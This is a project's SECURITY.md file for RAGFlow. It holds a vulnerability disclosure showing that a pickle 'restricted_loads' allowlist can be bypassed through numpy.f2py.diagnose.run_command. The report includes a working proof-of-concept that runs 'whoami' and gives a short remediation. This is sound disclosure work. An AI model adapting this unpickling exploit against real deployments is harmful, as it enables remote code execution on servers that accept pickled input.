您最多选择25个主题 主题必须以字母或数字开头,可以包含连字符 (-),并且长度不得超过35个字符

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374
  1. # Security Policy
  2. ## Supported Versions
  3. Use this section to tell people about which versions of your project are
  4. currently being supported with security updates.
  5. | Version | Supported |
  6. | ------- | ------------------ |
  7. | <=0.7.0 | :white_check_mark: |
  8. ## Reporting a Vulnerability
  9. ### Branch name
  10. main
  11. ### Actual behavior
  12. The restricted_loads function at [api/utils/__init__.py#L215](https://github.com/infiniflow/ragflow/blob/main/api/utils/__init__.py#L215) is still vulnerable leading via code execution.
  13. The main reason is that numpy module has a numpy.f2py.diagnose.run_command function directly execute commands, but the restricted_loads function allows users import functions in module numpy.
  14. ### Steps to reproduce
  15. **ragflow_patch.py**
  16. ```py
  17. import builtins
  18. import io
  19. import pickle
  20. safe_module = {
  21. 'numpy',
  22. 'rag_flow'
  23. }
  24. class RestrictedUnpickler(pickle.Unpickler):
  25. def find_class(self, module, name):
  26. import importlib
  27. if module.split('.')[0] in safe_module:
  28. _module = importlib.import_module(module)
  29. return getattr(_module, name)
  30. # Forbid everything else.
  31. raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
  32. (module, name))
  33. def restricted_loads(src):
  34. """Helper function analogous to pickle.loads()."""
  35. return RestrictedUnpickler(io.BytesIO(src)).load()
  36. ```
  37. Then, **PoC.py**
  38. ```py
  39. import pickle
  40. from ragflow_patch import restricted_loads
  41. class Exploit:
  42. def __reduce__(self):
  43. import numpy.f2py.diagnose
  44. return numpy.f2py.diagnose.run_command, ('whoami', )
  45. Payload=pickle.dumps(Exploit())
  46. restricted_loads(Payload)
  47. ```
  48. **Result**
  49. ![image](https://github.com/infiniflow/ragflow/assets/85293841/8e5ed255-2e84-466c-bce4-776f7e4401e8)
  50. ### Additional information
  51. #### How to prevent?
  52. Strictly filter the module and name before calling with getattr function.